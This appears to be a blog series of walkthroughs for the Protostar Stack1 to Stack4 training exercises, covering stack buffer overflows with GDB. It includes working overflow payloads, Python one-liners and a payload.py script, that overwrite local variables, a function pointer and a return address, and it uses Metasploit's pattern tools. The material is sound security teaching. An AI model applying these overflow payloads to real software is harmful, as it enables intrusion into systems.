In Protostar’s Stack4 challenge, we again learn to control the flow of the program. However, there’s no local variables to overwrite anymore!


What do you need?

Download Protostar: https://exploit-exercises.com/download/
Stack 4 Source: https://exploit-exercises.com/protostar/stack4/
Kali VM (Optional): https://www.kali.org/downloads/


Before you start!

  • One huge take-away from looking at the source is that there’s no longer a variable to overflow like we’ve seen in the previous challenges. However we do know that prior to any stack frame being called in assembly, the very first thing put onto the stack is the return address. This is so when the EBP is popped off of the current stack frame EIP will look at the return address on the stack (that was put there before going into the stack frame for main) and continue business as usual. What we need to do is overwrite the return address with the memory address for win() instead!
  • Something that I want to do differently than I have in my previous write ups, and to prepare for this challenge, is to SSH into Protostar. To do this I use a seperate Kali VM but you can use whatever you prefer to SSH into it. The reason I’m wanting to do this is to have the ability to copy and paste at the end. To do this:

1) First figure out the IP address for Protostar after logging in:

brandon@warhable:# ip addr

Note: I’m still using the Host-only network adapter supplied by VirtualBox and suggest you do as well to prevent this vulnerable machine being on a live network.

ipaddr

2) Second, within Kali or whatever you choose to use (putty, etc.), SSH into Protostar:

brandon@warhable:# ssh user@192.168.56.101

[yes]
password: user


Walkthrough

1) Clean up the shell to allow tab completion by typing:

brandon@warhable:# /bin/bash

2) Change directories to /opt/protostar/bin

brandon@warhable:# /opt/protostar/bin

3) There’s two ways that we can perform this challenge; manually or using a pattern tool that comes with metasploit. First I’ll walk through the manual way.

brandon@warhable:# gdb stack4
brandon@warhable:# set disassembly-flavor intel
brandon@warhable:# break main
brandon@warhable:# run

4) The very first thing I want to know is what the current return address is. If you recall, the return address is placed before EBP is pushed onto the stack. A quick way to see both EBP and the return address is:

brandon@warhable:# x/2wx $ebp

* Thanks Xenosine, I won’t forget this 😛

stack4-4

  • The return address is 0xb7eadc76 and is located at memory address 0xbffff7bc

5) Let’s take a look at the stack:

brandon@warhable:# x/24wx $esp

stack4-5

  • If you notice, on the bottom right, we can see the memory address 0xbffff7bc and it does contain the return address of 0xb7eadc76. Next we need to supply some data to see where the buffer starts on the stack. But first lets set a breakpoint before the leave instruction is executed and prevents us from examining the stack since it’ll exit:
brandon@warhable:# break *0x0804841d
brandon@warhable:# c
brandon@warhable:# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
brandon@warhable:# x/24wx $esp

stack4-5b
6) We now see that our buffer begins at 0xbffff770. Lets do some math to find the difference between the starting point of the buffer and the starting point of the return address since we know both addresses now:

brandon@warhable:# p/d 0xbffff7bc - 0xbffff770

stack4-6

  • This means if we write 76 bytes onto the stack, the next 4 bytes will be placed into the return address. The result of this is that after the stack frame is popped (EBP popped) EIP will look at the return address. If we supply it something other than 0xb7eadc76 it will go there instead.

7) Next we need to locate where in memory the win function is so we can complete the challenge:

brandon@warhable:# print win

8) Let’s test it out now that we have the padding length and the memory address for the function win (0x080483f4):

brandon@warhable:# quit</strong></span>
brandon@warhable:# echo $(python -c 'print "\x41" * 76 + "\xf4\x83\x04\x08"') | ./stack4

stack4-8
code flow successfully changed
Segmentation fault

  • The reason we get a Segmentation fault is because we altered the flow of the program. There’s no code to handle a proper exit within the win function, it relies on main to handle a clean exit but we changed that by altering the return address.

*****At this point you’ve completed the challenge. However if you’d like to see how to automate some of this manual work, please keep reading!****

9) Now lets go ahead and take a look at metasploits pattern_create tool to make this challenge easier. First lets find where on Kali its located:

brandon@warhable:# locate pattern_create</strong></span>
brandon@warhable:# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100

stack4-9

  • This will create a unique pattern that is exactly 100 bytes long (-l 100). If we copy this string (hence why I’m SSH’ing now) and supply this string into stack4, the program will crash with a segmentation fault. The beauty behind this is that the memory address where the crash happens are 4 bytes from this pattern. We can then in return use the pattern_offset tool and supply it that 4 byte value to tell us exactly how many bytes it took to overwrite the buffer leading to the return address:
brandon@warhable:# gdb stack4
brandon@warhable:# run
brandon@warhable:# Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

stack4-9b
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()

10) Now that we have a 4 byte pattern, 63413563, we can use pattern_offset.rb to tell us exactly how many bytes it took to overwrite the return address that EIP is looking at

brandon@warhable:# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 100 -q 63413563

stack4-10
[*] Exact match at offset 76

• With this information we could have skipped all of the manual work of finding the padding length and went straight to step 7.

Congratulations, you have completed stack4!

Walkthrough – Protostar Stack3

Overview:

In Protostar’s Stack3 challenge we learn how to control the flow of a program by forcing it to go to a function of our choice.


What do you need?

Download Protostar: https://exploit-exercises.com/download/
Stack 3 Source: https://exploit-exercises.com/protostar/stack3/


Before you start!

In this challenge fp is defined as a function pointer, meaning that it will call whatever memory address is located within fp, as long as it doesn’t equal zero.

We also need to take a step back and look at the source even further. We’re no longer using strcpy like we have in other challenges. This challenge uses the gets function (just like in stack0) and if we remember correctly that means it gets the STDIN and puts it into the destination buffer with no boundary checking. For review I did a quick ‘man gets’ for a refresher:

gets

In this case the destination would be the buffer. This is great news for us since fp is a local variable. This if we overflow the buffer we can potentially change the value of fp since its in the same stack frame. The conditional if statement simply checks to make sure fp is not equal to zero. If it’s not, it will call the function pointer fp to whatever memory address is stored within it.


Walkthrough

1) Log in with user:user
2) Clean up the shell to allow tab completion by typing:
/bin/bash

3) Change directories to /opt/protostar/bin
cd /opt/protostar/bin

4) We know from looking at the code, and the description, that we need to redirect flow to the win function. Before we do anything we’ll need the memory address location for win. There’s a few ways to do it so we’ll take a look at some of them:

objdump -d stack3 | more   # scroll down faster by using space, or slower by using enter
0x08048424

stack3-4a

* TIP: It would be faster to grep win instead of using more and scrolling through the entire dump

Within GDB:
print win
$1 = {void (void)} 0x8048424

x/x win
0x8048424 : 0x83e58955

disas win
0x08048424 <win+0>:   push  ebp

stack3-4b

5) Now, since we’re already in GDB, let’s take a look at where the function pointer is stored on the stack
set disassembly-flavor intel
disas main

stack3-5

6) Looking at the assembly instructions, fp is stored at ESP+0x5c (this is just an educated guess since that memory address is being set to 0, just like fp is in the source code). Let’s take a look at the stack by running the program but breaking right before the conditional statement (cmp) is executed so it doesn’t exit:
break *0x08048455
run
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

7) Great, let’s look at what’s inside esp+0x5c and take note of its memory address location:
x/wx $esp+0x5c
0xbffff80c:    0x00000000

8) Now moving on to the stack:
x/24wx $esp

stack3-8

• First, the obvious is that our buffer begins at 0xbffff7cc. This is found by observing where the capital A’s (41) begin on the stack (so the second row in this case). The first memory address displayed in this row is 0xbffff7c0. Now we need to offset that memory address by 4 bytes (for each DWORD displayed in hex) until we hit the 41’s. The first DWORD belongs to 0xbffff7c0, then 0xbffff7c4, 0xbffff7c8, and finally where our 41’s begin at 0xbffff7cc.

• Second we observe fp’s memory address location from earlier, 0xbffff80c. Displaying 24 words in hex was convinient, and lucky, and this memory locations contents can be seen on the bottom right in the last row, 0x00000000.

9) Now we calculate the difference between the fp pointers memory address (0xbffff80c) and where the stack begins (0xbffff7cc).
p/d 0xbffff80c – 0xbffff7cc
$1 = 64

Great, now we have everything we need. We need to overwrite the buffer with 64 bytes and the next 4 bytes written will overflow into fp. Ideally we would like these 4 bytes to be the memory address for win (0x08048424).

10) Looking at the disassembly from earlier, 0x0 is compared with ESP+0x5c (fp) and jumps to 0x08048477 if they’re equal (fp hasn’t been changed from zero). However if we change fp’s value by using a buffer overflow we skip that and see that 0x8048560 is moved into EAX. This is the text for printf, “calling function pointer, jumping to..etc..” (verified with x/s 0x8048560) and next ESP+0x5c (the function pointer) is moved into EDX. EDX is moved onto the stack, followed by EAX being moved onto the stack. This is setting up the two parameters for printf in reverse order. Then the printf function is called. Finally, ESP+0x5c (the fp) is moved into EAX and a call function on EAX is executed; blindly calling whatever memory address is stored within EAX.

11) This time we’re going to complete this challenge differently by writing our exploit into a python file that will print the payload. This will allow us to pipe it into stack3 and satisfy the gets function by providing a STDIN with that print function from python.

cd    # takes you back to your home directory (/home/user) with no parameters
pwd    # verify you’re in the /home/user directory
vi payload.py    # use Vi to create and edit our python program, payload.py
i    # pressing i puts you in insert mode allowing you to modify the file

(Source code for payload.py)

exploit = "\x41" * 64   # this is our capital A's in hex to overflow the buffer
exploit +="\x24\x84\x04\x08"  # memory address location for win
print exploit

ESC    # this exits insert mode
wq!    # this will write (save) and quit Vi

stack3-11

Test it out:
python payload.py

stack3-11b

12) Finally lets throw this exploit at our challenge from the home directory and current location of the exploit written in python:
python payload.py | /opt/protostar/bin/stack3

calling function pointer, jumping to 0x08048424
code flow successfully changed

stack3-12

Congratulations, you have completed stack3!

Walkthrough – Protostar Stack2

Overview:

In Protostar’s Stack2 challenge, we leverage an environmental variable to perform our buffer overflow!


What do you need?

Download Protostar: https://exploit-exercises.com/download/
Stack 2 Source: https://exploit-exercises.com/protostar/stack2/


Before you start!

A sharp eye would notice that anything we provide as a parameter to stack2 is irrelevant. Why? Because there’s a check to see if variable == NULL prior to strcpy even happening. Breaking the source down we see that variable is set to the value of the environmental variable GREENIE.


Walkthrough

1) Log in with user:user
2) Change directories to /opt/protostar/bin

3) One thing that I haven’t done in my other walkthroughs is clean up Protostars shell. I enjoy having tab completion set so:
/bin/bash

4) Let’s try out the program without changing the system quite yet:
./stack2
“stack2: please set the GREENIE environmental variable”

stack2-4

5) Next let’s see what the environmental variables currently are and if there’s a GREENIE one.
printenv | more

6) Doesn’t look like there’s one named GREENIE, no wonder it’s always NULL and exiting. Let’s change that by creating a variable named GREENIE, exporting it to the environmental variables, and verifying the change.

GREENIE=’A’
export GREENIE
printenv | grep GREENIE

stack2-46

7) Alright! Let’s see what happens now when we try to execute the program
./stack2
“Try again, you got 0x00000000”

stack2-7

8) Now we’re on to something. The conditional statement is no longer NULL so we moved on in the code. Like usual we can disassemble the program, locate where the modified variable is on the stack, and overwrite it with the intended memory address value of 0x0d0a0d0a.

gdb stack2
set disassembly-flavor intel
disas main

stack2-8

9) We know that local variable modified is set to 0, so let’s locate where this instruction is AFTER the if statement for the environmental variable:

mov DWORD PTR [esp+0x58], 0x0

stack2-9

10) We can confirm this by setting a breakpoint at this instruction and after it. Then we’ll inspect the stack and the contents of $esp+0x58 to see if the value is set to 0 and if changing it complete the challenge.

break *0x080484c8
break *0x080484d0

11) Let’s run the program:
run
x/wx $esp+0x58

stack2-11

12) Right now it seems to contain something we’re not interested in, but lets see it on the stack at least:
x/24wx $esp

stack2-12

13) Next let’s continue and see what happens after its set to 0.
c
x/wx $esp+0x58

14) As expected its set to 0, and we can see verify its existence on the stack:
x/24wx $esp

stack2-14

15) Now lets provide some data to be put into the buffer. But first lets delete the breakpoints and set one after the strcpy function is called (0x080484e4) by referring back to the disassembly from earlier
del
break *0x080484e4
run AAAAAAAAAAAAAAAAAAAAA
x/24wx $esp

stack2-15

16) Wait, where are all of the 0x41’s? Let’s look back at the source code:
strcpy(buffer, variable);

17) argv[1] isn’t being put into the buffer, variable is! This means that whatever value is placed into the environmental variable GREENIE is what will be placed into the buffer (not the paramters passed into argv[1] like in the previous challenge). Let’s put some more A’s into GREENIE, set the diassembly flavor, place our breakpoint after strcpy again, and see what the stack looks like then:

quit
GREENIE=’AAAAAAAAAAAAAAAAAAAAAAAA’
export GREENIE
gdb stack2
set disassembly-flavor intel
break *0x080484e4
run
x/24wx $esp

stack2-17

18) Ahh, our x41’s are back! We see where the buffer starts at 0xbffff7a8 and we know that the modified variable should be the 0x00000000 on the bottom at memory address 0xbffff7e8. Let’s calculate the difference:
p/d 0xbffff7e8 – 0xbffff7a8
$1 = 64

stack2-18

19) Just like before, 64 bytes will fill up the buffer and the next 4 bytes will be placed into the modified variable. Knowing what we learned from the previous challenge, in order to provide the correct value in the right order we have to accomdate for little endian. So instead of supplying \x0d\x0a\x0d\x0a we’ll have to reverse the bytes again; \x0a\x0d\x0a\x0d. Let’s make it easier on ourselves and use python inside the GREENIE environmental variable:

quit
GREENIE = `python -c ‘print “\x41” * 64 + “\x0a\x0d\x0a\x0d”‘`
export GREENIE

stack2-19

20) Let’s verify it:
printenv | more

stack2-20

21) We can see the ascii characters A but where’s our memory address we added? The prinvenv will display ASCII characters. Let’s work around this so we can see the hex as well:
printenv | hexdump -C | more

stack2-21

If we look on the left hand side, we can see 41’s followed by our memory address of 0a 0d 0a 0d 0a which is represented by dots on the righthand side. After the last 0a is 4c 4f, which converted from HEX to ASCII is LO; indicating the beginning of the next environmental variable “LOGNAME=”. Great, so our environmental variable is set correctly.

22) Everything is set so let’s take her for a test drive!

./stack2

stack2-22

Before moving on to the next challenge let’s clean up the environmental variable we created by removing it:
unset GREENIE

Congratulations, you have completed stack2!

Walkthrough – Protostar Stack1

Overview:

In Protostar’s Stack1 challenge, we learn to overwrite the value of a local variable on the stack to exactly what we want.


What do you need?

Download Protostar: https://exploit-exercises.com/download/
Stack 1 Source: https://exploit-exercises.com/protostar/stack1/


Before you start!

The goal of this challenge is to change the value of modified to 0x61626364.

Before going any further it’s essential to know that in order to supply that value on the stack it needs to be placed in reverse order. This is because of something called little endian. The short and sweet explanation is that processors (such as Intel’s x86 processors) store the least significant byte first (64) and the most significant byte last (61). So if we wanted to place 61626364 on the stack we would first need to convert it to little endian by changing it to 64636261. If we don’t the processor, who’s expecting little endian, will read it backwards (literally as 64636261) thus not being able to successfully change modified to the appropriate value.

Unlike the previous challenge that used “Gets”, this one uses strcpy. This means that we can actually append arguments after the file name or after the run command within GDB.

Example:
./stack1 AAAA

Example (within GDB):
run AAAA


Walkthrough

1) Login with user:user
2) Change directories into the challenge

cd /opt/protostar/bin

3) Test the program out normally

./stack1 AAAA
“Try again, you got 0x00000000”

stack1-step3

4) Let’s try it out in GDB

gdb stack1
run $(python -c ‘print “\x41” * 65’)

stack1-step4

“Try again, you got 0x00000041”

5) Examining the disassembly:

set disassembly-flavor intel
disas main

6) Understanding the instructions:

stack1-step6

– First EBP is PUSHED on top of the return address
– ESP is moved into EBP
– ESP is set to 0xfffffff0
– 0x60 (96 bytes) are given for the stack frame by subtracting it from ESP’s current position
– ARGC (the count of arguments) is compared to 1. This means that the program ensures that we specified an argument (see line 11 in the source). The file name counts as one argument (./stack1) and anything seperated by white space increments the argument count by one (./stack 1 2 3 would be a total of 4 arguments).
– JNE means that if the argument count does not equal 0x1, the program will continue because at least one argument was provided. Otherwise the flow of the program jumps to 0x08048487 (right after the call for errx). If no arguments were provided, we continue to the next instruction (moving the error message string onto the stack) and skip JNE.
– If we didn’t provide any arguments past the file name, the assembly adds ‘please specify an argument’ to the stack. This string is located at memory address 0x80485a0 and can be verified by running: x/s 0x80485a0.
– Next the number 1 is moved into ESP’s position and finally the program calls errx and quits the program. This would be the end of the flow had no arguments been provided. (ex: run AAAA)

However, moving on as if JNE was invoked and we skip past errx:
– Modified is set to 0 and is located at EBP+0x5c (0x5c = 92)

Now we set up for strcpy:

– The pointer (referencing a variable passed into the function – the buffer) at EBP+0xc (12 bytes) is loaded into EAX (a high speed register for calculations)
– 4 is added to EAX to offset the previous memory location
– The EAX pointer is moved into EAX by dereferencing it
– EAX is moved onto the stack (ESP + 0x4)
– The address of ESP+0x1c (another local stack variable – argv[1]) is moved into EAX
– EAX is moved onto the stack so it will be the first argument for strcpy (ESP)
– STRCPY is finally called, moving the parameters passed into the program (argv[1], located at $ESP+0x1c) into the buffer
– The modified value (ESP+0x5c) is moved into EAX, setting up for the next instruction
– Finally, EAX is compared to 0x61626364

7) Because of little endian, we wrote one byte into the modified variable (0x00000041) and it was appended to the end. The goal of this challenge was to change the modified value to 61626364. Remembering what I mentioned earlier, little endian reverses the bytes so we must do the same to get the correct value:

run $(python -c ‘print “\x41” * 64 + “\x64\x63\x62\x61″‘)
“you have correctly got the variable to the right value”

stack1-step7

8) Great! Let’s confirm this outside of GDB now

quit
./stack1 $(python -c ‘print “\x41” * 64 + “\x64\x63\x62\x61″‘)

stack1-step8

Congratulations, you have completed stack1!